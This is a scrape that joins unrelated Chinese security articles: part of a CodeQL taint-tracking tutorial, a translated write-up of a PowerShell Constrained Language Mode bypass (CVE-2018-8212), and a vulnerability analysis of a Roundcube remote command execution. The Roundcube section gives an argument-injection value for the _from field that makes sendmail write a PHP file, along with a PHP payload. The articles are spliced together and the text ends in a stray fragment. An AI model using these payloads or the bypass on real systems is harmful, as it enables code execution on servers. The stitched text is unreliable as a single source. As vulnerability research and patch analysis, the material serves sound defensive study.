要使用 `global taint` 需要定义一个类继承自 `TaintTracking::Configuration` ，然后重写 `isSource`
和 `isSink`
1. `isSource` 用于定义 `source` 点，指定 `get_user_input_str` 的函数调用为 `source` 点
2. `isSink` 定义 `sink` 点，指定 `system` 的一个参数为 `sink` 点
3. 然后在 `where` 语句里面使用 `cfg.hasFlowPath(source, sink)` 查询到从 `source` 到 `sink` 的代码
查看查询结果发现 `call_system_safe_example` 也会出现在结果中，前面提到 `clean_data`
可以确保数据无法进行命令注入，我们可以通过 `isSanitizer` 函数来剔除掉污点数据流入 `clean_data` 函数的结果，关键代码如下：
import cpp
import semmle.code.cpp.dataflow.TaintTracking
import semmle.code.cpp.valuenumbering.GlobalValueNumbering
class SystemCfg extends TaintTracking::Configuration {
SystemCfg() { this = "SystemCfg" }
............
override predicate isSanitizer(DataFlow::Node nd) {
exists(FunctionCall fc |
fc.getTarget().getName() = "clean_data" and
globalValueNumber(fc.getArgument(0)) = globalValueNumber(nd.asExpr())
)
}
............
}
ps: 使用 `globalValueNumber` 才能结果正确，这个应该和编译原理 GVN 理论相关。
## 数组越界
本节使用涉及的代码
https://github.com/hac425xxx/sca-workshop/tree/master/ql-example/array_oob_query
代码漏洞
int global_array[40] = {0};
void array_oob()
{
int user = read_byte();
global_array[user] = 1;
}
首先函数通过 `read_byte` 获取外部输入的一个字节，然后将其作为数组索引去访问 `global_array` ， 但是
`global_array` 的大小只有 `40` 项，所以可能导致数组越界。
这个漏洞模型很清晰，我们使用污点跟踪来查询这个漏洞，首先 `source` 点就是 `read_byte` 的函数调用， `sink` 点就是
污点数据被用作数组索引。
查询代码如下
import cpp
import semmle.code.cpp.dataflow.TaintTracking
class ArrayOOBCfg extends TaintTracking::Configuration {
ArrayOOBCfg() { this = "ArrayOOBCfg" }
override predicate isSource(DataFlow::Node source) {
source.asExpr().(FunctionCall).getTarget().getName() = "read_byte"
}
override predicate isSink(DataFlow::Node sink) {
exists(ArrayExpr ae | sink.asExpr() = ae.getArrayOffset())
}
}
from DataFlow::PathNode sink, DataFlow::PathNode source, ArrayOOBCfg cfg
where cfg.hasFlowPath(source, sink)
select source.getNode().asExpr().(FunctionCall).getEnclosingFunction(), source, sink
首先看定义 `source` 点的代码
source.asExpr().(FunctionCall).getTarget().getName() = "read_byte"
这里就是让 `source` 为 `read_byte` 的 `FunctionCall` 语句，其中 `.(FunctionCall)`
类似于类型强制转换。
下面介绍sink点的查询， 在 `ql` 中很多语法结构都有对应的类来表示，比如这里涉及的数组访问就可以通过 `ArrayExpr` 对象获取
import cpp
from ArrayExpr ae
select ae, ae.getArrayOffset(), ae.getArrayBase()
可以看到 `getArrayOffset` 获取到的是数组偏移的部分，`getArrayBase` 获取到的是数组的基地址，所以这个查询的作用就是查询数据从
`read_byte` 流入数组索引的代码。
查询结果如下
可以看到查询到了所有符合条件的代码，其中有一个误报
void no_array_oob()
{
int user = read_byte();
if (user >= sizeof(global_array))
return;
global_array[user] = 1;
}
可以看到这里检查了 `user` 的值，我们可以通过 `isSanitizer` 来过滤掉这个结果，这里就简单的认为用户输入进入 `if`
语句的条件判断中就认为用户输入被正确的校验了。
override predicate isSanitizer(DataFlow::Node nd) {
exists(IfStmt ifs |
globalValueNumber(ifs.getControllingExpr().getAChild*()) = globalValueNumber(nd.asExpr())
)
}
`codeql` 使用 `IfStmt` 来表示一个 if 语句，然后使用 `getControllingExpr` 可以获取到 `if`
语句的控制语句部分，然后我们使用 `getAChild*` 递归的遍历控制语句的所有子节点，只要有 `nd` 为控制语句中的一部分就返回`true`。
## 引用计数相关
本节相关代码
https://github.com/hac425xxx/sca-workshop/tree/master/ql-example/ref_query
漏洞代码一
int ref_leak(int *ref, int a, int b)
{
ref_get(ref);
if (a == 2)
{
puts("error 2");
return -1;
}
ref_put(ref);
return 0;
}
漏洞是当 `a=2` 时会直接返回没有调用 `ref_put` 对引用计数减一，漏洞模型：在某些存在 `return`的条件分支中没有调用
`ref_put` 释放引用计数。
查询的代码如下
import cpp
import semmle.code.cpp.dataflow.TaintTracking
class RefGetFunctionCall extends FunctionCall {
RefGetFunctionCall() { this.getTarget().getName() = "ref_get" }
}
class RefPutFunctionCall extends FunctionCall {
RefPutFunctionCall() { this.getTarget().getName() = "ref_put" }
}
class EvilIfStmt extends IfStmt {
EvilIfStmt() {
exists(ReturnStmt rs |
this.getAChild*() = rs and
not exists(RefPutFunctionCall rpfc | rpfc.getEnclosingBlock() = rs.getEnclosingBlock())
)
}
}
from RefGetFunctionCall rgfc, EvilIfStmt eifs
where eifs.getEnclosingFunction() = rgfc.getEnclosingFunction()
select eifs.getEnclosingFunction(), eifs
代码使用类来定义某个特定的函数调用，比如 `RefPutFunctionCall` 用于表示调用 `ref_put` 函数的函数调用语句。
然后使用 `EvilIfStmt` 来表示存在 `return` 语句但是没有调用 `ref_put` 的代码
class EvilIfStmt extends IfStmt {
EvilIfStmt() {
exists(ReturnStmt rs |
this.getAChild*() = rs and
not exists(RefPutFunctionCall rpfc | rpfc.getEnclosingBlock() = rs.getEnclosingBlock())
)
}
}
大概的逻辑如下
1. 首先使用 `this.getAChild*() = rs` 约束 `this` 为一个包含 `return` 语句的 `if` 结构
2. 然后在加上一个 `exists` 语句确保 和 `rs` 同一个块的语句里面没有 `reutrn` 语句。
漏洞代码二
int ref_dec_error(int *ref, int a, int b)
{
ref_get(ref);
if (a == 2)
{
puts("ref_dec_error 2");
ref_put(ref);
}
ref_put(ref);
return 0;
}
漏洞是当 `a=2` 时调用 `ref_put` 对引用计数减一但是没有 `return`。
漏洞模型：在某些条件分支中调用 `ref_put` 释放引用计数，但是没有 `reuturn` 返回，可能导致 `ref_put` 多次。
`ql` 查询代码的关键代码如下
class EvilIfStmt extends IfStmt {
EvilIfStmt() {
exists(RefPutFunctionCall rpfc |
this.getAChild*() = rpfc and
not exists(ReturnStmt rs | rpfc.getEnclosingBlock() = rs.getEnclosingBlock())
)
}
}
## 外部函数建模
本节涉及代码
https://github.com/hac425xxx/sca-workshop/tree/master/ql-example/model_function
静态污点分析的常见问题当数据流入外部函数（比如没有源码的库函数）中时污点分析引擎就可能会丢失污点传播信息，比如
int custom_memcpy(char *dst, char *src, int sz);
int call_our_wrapper_system_custom_memcpy_example()
{
char *user = get_user_input_str();
char *tmp = malloc(strlen(user) + 1);
custom_memcpy(tmp, user, strlen(user));
our_wrapper_system(tmp);
return 1;
}
这个函数首先使用 `get_user_input_str` 获取外部输入，然后调用 `custom_memcpy` 把数据拷贝到 `tmp` 中，然后将
`tmp` 传入 `system` 执行命令， `custom_memcpy` 实际就是对 `memcpy` 进行了封装，只不过没有提供函数的源码。
直接使用之前的 `ql` 代码进行查询会发现查询不到这个代码，因为 `custom_memcpy` 是一个外部函数， `codeql`
的污点跟踪引擎无法知道污点的传播规则。
import cpp
import semmle.code.cpp.dataflow.TaintTracking
class SystemCfg extends TaintTracking::Configuration {
SystemCfg() { this = "SystemCfg" }
override predicate isSource(DataFlow::Node source) {
source.asExpr().(FunctionCall).getTarget().getName() = "get_user_input_str"
}
override predicate isSink(DataFlow::Node sink) {
exists(FunctionCall call |
sink.asExpr() = call.getArgument(0) and
call.getTarget().getName() = "system"
)
}
}
from DataFlow::PathNode sink, DataFlow::PathNode source, SystemCfg cfg
where cfg.hasFlowPath(source, sink)
select source.getNode().asExpr().(FunctionCall).getEnclosingFunction(), source, sink
为了解决这个问题，我们可以选择两种方式：重写`isAdditionalTaintStep`函数 或者 给`ql`源码增加模型，下面分别介绍。
### 重写 `isAdditionalTaintStep` 函数
使用 `TaintTracking::Configuration` 时可以通过重写 `isAdditionalTaintStep`
函数来自定义污点传播规则，代码如下
override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) {
exists(FunctionCall fc |
pred.asExpr() = fc.getArgument(1) and fc.getTarget().getName() = "custom_memcpy"
and succ.asDefiningArgument() = fc.getArgument(0)
)
}
`isAdditionalTaintStep` 的逻辑是如果函数返回值为 `True` 就表示污点数据从 `pred` 流入了 `succ`.
因此这里指定的就是污点数据从 `custom_memcpy` 的第`1`个参数流入了函数的第`0`个参数。
### 给`ql`源码增加模型
在`ql`的源码里面内置很多标准库函数的模型，比如`strcpy`，`memcpy` 等，代码路径为
cpp\ql\src\semmle\code\cpp\models\implementations\Memcpy.qll
我们可以基于这些模型进行改造来快速对需要的函数建模，下面介绍一下步骤
首先在目录下新建一个 `.qll` 文件，这里就直接拷贝了 `Memcpy.qll` 然后修改了`19`行函数名部分，因为本身是对 `memcpy`
进行的封装。
然后在 `Models.qll` 里面导入一下即可
这时再去查询就可以了。
# 相关链接
<https://help.semmle.com/QL/ql-handbook/index.html>
<https://help.semmle.com/QL/learn-ql/>
<https://securitylab.github.com/ctf/segv>
<https://github.com/github/codeql-cli-binaries/releases>
<https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-cpp> | 社区文章 |
本文翻译自：<https://enigma0x3.net/2018/10/10/cve-2018-8212-device-guard-clm-bypass-using-msft_scriptresource/>
Device Guard及其附带的开源脚本环境是破坏攻击过程的致命组合。在脚本语言（如PowerShell和Windows Scripting
Host）处于锁定状态时，Device
Guard将阻止执行未经签名的代码。如果要在这种环境中运行这些代码，研究旁路可能会派上用场。此外，利用有签名或被允许的脚本或程序来执行未被签名代码可能会带来绕过的优势。
在Device
Guard环境中寻找绕过约束语言模式（CLM）的方法时，通过研究Microsoft签名的PowerShell模块来执行任意未签名代码的调用始，这始终是一项富有成效的尝试，因为大多数Microsoft
PowerShell模块都将被签名（按政策批准即隐式）。为了防止滥用已被签名的PowerShell模块来绕过CLM，Microsoft添加了一项检查，以保证一个模块只能在CLM中被加载时才能执行导出的函数（[CVE-2017-8715](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8212)）。这意味着，虽然可以根据策略对脚本进行签名并且允许其执行，但该脚本只能执行被Export-ModuleMember导出的函数。这显著减少了已签名PowerShell模块的攻击面，因为非导出函数将受CLM约束，与未签名代码相同。
虽然这个添加项减少了攻击面，但并不意味它完全消除了隐患。在分析Microsoft签名的PowerShell模块文件，以查找允许执行未签名代码的函数时，会出现DSC模块中的“MSFT_ScriptResource.psm1”。此模块由Microsoft签名，并具有一个名为“Get-TargetResource”的函数，该函数有一个“GetScript”参数：
观察此函数，其利用[ScriptBlock] ::
Create（）命令，将-GetScript传递的代码添加到新的scriptblock中。执行此操作后，它将psboundparameters参数传递给“ScriptExecutionHelper”函数。
如果我们仔细观察“ScriptExecutionHelper”函数，它所做的就是获取psboundparameters参数（包括我们新创建的ScriptBlock）并调用运算符（＆）来执行它：
由于上述内容都发生在Microsoft签名模块中，因此允许该模块以FullLanguage模式运行（即不对其施加任何限制）。若要滥用此功能，我们需要做的只是利用-GetScript参数将我们的恶意PowerShell代码传递给Get-TargetResource函数。但是，CVE-2017-8715 的Export-ModuleMember命令是否已禁止滥用此功能了呢？查看“MSFT_ScriptResource.psm1”中的导出函数，实际为我们导出的是可滥用函数“Get-TargetResource”：
太棒了！为了测试这一点，我们可以添加一些任意C＃代码（简单地如：4的平方根）到名为$code的PowerShell变量中：
执行此操作后，我们只需要导入“MSFT_ScriptResource”PowerShell模块，并使用“Add-Type -TypeDefinition $
code”作为-GetScript参数来调用“Get-TargetResource”函数。执行此操作时，Microsoft签名的PowerShell模块将以FullLanguage模式加载（因为它是通过Device
Guard签名和允许的），并且传递给Get-TargetResource函数的代码也将以FullLanguage模式执行：
可以看到，我们在ConstrainedLanguage模式下运行，并且添加的4的平方根部分的代码失败了，因为这种调用方法被阻止了。然后将我们的恶意代码添加到$
code变量中。所有这些代码都和“4的平方根”的代码类似，就像我们上面尝试过的那样。完成这些后，“MSFT_ScriptResource”模块将会被导入，并通过-GetScript参数将恶意代码传递给“Get-TargetResource”函数。之后，将执行Add-Type调用并执行恶意代码，从而绕过Device
Guard上的CLM。应该注意，启用ScriptBlock日志记录仍将捕获应该注意，启用ScriptBlock日志记录仍将捕获绕过CLM的尝试。
这个bug是通过[CVE-2018-8212](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8212)修复的。如果您有兴趣，微软最近已将此类旁路添加到WDAC Application
Security赏金计划中：[https：//www.microsoft.com/en-us/msrc/windows-security-servicing-criteria](https：//www.microsoft.com/en-us/msrc/windows-security-servicing-criteria) | 社区文章 |
**Author: p0wd3r, LG (知道创宇404安全实验室)**
**Date: 2016-12-08**
## 0x00 漏洞概述
### 1.漏洞简介
著名的PHP代码审计工具 [RIPS](https://www.ripstech.com/) 于12月6日发布了一份针对
[Roundcube](https://roundcube.net/)
的[扫描报告](https://blog.ripstech.com/2016/roundcube-command-execution-via-email/)，报告中提到了一个远程命令执行漏洞，利用该漏洞攻击者可以在授权状态下执行任意代码。官方已发布[升级公告](https://roundcube.net/news/2016/11/28/updates-1.2.3-and-1.1.7-released)。
### 2.漏洞影响
触发漏洞需满足以下几个前提：
1. Roundcube 使用 PHP 的 [mail](http://php.net/manual/zh/function.mail.php) 来发送邮件，而不通过其他 SMTP Server
2. PHP 的 mail 使用 [sendmail](https://wiki.archlinux.org/index.php/Sendmail_\(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87\)) 来发送邮件（默认）
3. PHP 的 [safe_mode](http://php.net/manual/zh/features.safe-mode.php) 是关闭的（默认）
4. 攻击者需要知道 Web 应用的绝对路径
5. 攻击者可以登录到 Roundcube 并可以发送邮件
成功攻击后攻击者可远程执行任意代码。
### 3.影响版本
1.1.x < 1.1.7
1.2.x < 1.2.3
## 0x01 漏洞复现
### 1\. 环境搭建
Dockerfile:
FROM analogic/poste.io
RUN apt-get update && apt-get install -y sendmail
然后执行：
docker build -t webmail-test .
mkdir /tmp/data
docker run -p 25:25 -p 127.0.0.1:8080:80 -p 443:443 -p 110:110 -p 143:143 -p 465:465 -p 587:587 -p 993:993 -p 995:995 -v /etc/localtime:/etc/localtime:ro -v /tmp/data:/data --name webmail --hostname xxx.xxx -t webmail-test
docker cp webmail:/opt/www/webmail/config/config.inc.php /tmp/config.inc.php
vim /tmp/config.inc.php
将 $config['smtp_server'] 置为空
docker cp /tmp/config.inc.php webmail:/opt/www/webmail/config/config.inc.php
然后访问`http://127.0.0.1:8080`配置用户名密码，访问 `http://127.0.0.1:8080/webmail` 即可
### 2.漏洞分析
首先看`program/steps/mail/sendmail.inc`第95-114行：
// Get sender name and address...
$from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST, true, $message_charset);
// ... from identity...
if (is_numeric($from)) {
...
}
// ... if there is no identity record, this might be a custom from
else if ($from_string = rcmail_email_input_format($from)) {
if (preg_match('/(\S+@\S+)/', $from_string, $m))
$from = trim($m[1], '<>');
else
$from = null;
}
这里取`$_POST`中的`_from`赋值给`$from`，如果`$from`不是数字就交给`rcmail_email_input_format`处理，处理后如果返回非空则再过滤`$from`，使其满足正常
email 的形式。
我们看一下`rcmail_email_input_format`，在`program/steps/mail/sendmail.inc`第839-896行：
function rcmail_email_input_format($mailto, $count=false, $check=true)
{
global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
// simplified email regexp, supporting quoted local part
$email_regexp = '(\S+|("[^"]+"))@\S+';
$delim = trim($RCMAIL->config->get('recipients_separator', ','));
$regexp = array("/[,;$delim]\s*[\r\n]+/", '/[\r\n]+/', "/[,;$delim]\s*\$/m", '/;/', '/(\S{1})(<'.$email_regexp.'>)/U');
$replace = array($delim.' ', ', ', '', $delim, '\\1 \\2');
// replace new lines and strip ending ', ', make address input more valid
$mailto = trim(preg_replace($regexp, $replace, $mailto));
$items = rcube_utils::explode_quoted_string($delim, $mailto);
$result = array();
foreach ($items as $item) {
$item = trim($item);
// address in brackets without name (do nothing)
if (preg_match('/^<'.$email_regexp.'>$/', $item)) {
...
}
// address without brackets and without name (add brackets)
else if (preg_match('/^'.$email_regexp.'$/', $item)) {
...
}
// address with name (handle name)
else if (preg_match('/<*'.$email_regexp.'>*$/', $item, $matches)) {
...
}
else if (trim($item)) {
continue;
}
...
}
...
return implode(', ', $result);
}
`foreach`中的正则仅匹配正常的`from`格式，即`xxx@xxx`，如果匹配不到则`continue`，所以如果我们提交`xxx@xxx -a
-b`这样的“空格 + 数据”，函数最终并没有对其进行改变，返回的`$result`也就是空了，进而执行完函数后不会再对`$from`进行过滤。
接下来在`program/steps/mail/sendmail.inc`第528行：
$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto, $smtp_error, $mailbody_file, $smtp_opts);
`$from`被传入了`deliver_message`中，在`program/lib/Roundcube/rcube.php`第1524-1678行：
public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null)
{
// send thru SMTP server using custom SMTP library
if ($this->config->get('smtp_server')) {
...
}
// send mail using PHP's mail() function
else {
...
if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))
$sent = mail($to, $subject, $msg_body, $header_str);
else
$sent = mail($to, $subject, $msg_body, $header_str, "-f$from");
}
}
...
}
可以看到当我们使用PHP的`mail`函数来发送邮件时`$from`会被拼接到`mail`的第五个参数中，这个参数的用处如下：
意思就是PHP的`mail`默认使用`/usr/sbin/sendmail`发送邮件（可在php.ini中设置），`mail`的第五个参数就是设置`sendmail`的额外参数。
`sendmail`有一个`-X`参数，该参数将邮件流量记录在指定文件中：
所以到这里攻击思路如下：
1. 构造邮件内容为想要执行的代码
2. 点击发送时抓包更改`_from`
3. `sendmail`将流量记录到 php 文件中
实际操作一下：
首先登录 Roundcube 并开始发送邮件：
点击发送，截包修改：
其中将`_from`改成：`[email protected] -OQueueDirectory=/tmp
-X/path/rce.php`，其中`-X`后的路径需根据具体服务器情况来设置，默认 Roundcube
根目录下`temp/`、`logs/`是可写的。然后将`_subject`改成我们想要执行的代码，这里是`<?php phpinfo();?>`。
请求有可能会超时，但是并不影响文件的写入。
发送过后触发漏洞：
### 3.补丁分析
使用`escapeshellarg`让`$from`被解析为参数值，
## 0x02 修复方案
升级程序：https://roundcube.net/news/2016/11/28/updates-1.2.3-and-1.1.7-released
## 0x03 参考
1. https://www.seebug.org/vuldb/ssvid-92570
2. Roundcube 扫描报告：<https://blog.ripstech.com/2016/roundcube-command-execution-via-email/>
3. PHP 的 mail 函数：<http://php.net/manual/zh/function.mail.php>
* * * | 社区文章 |
Subsets and Splits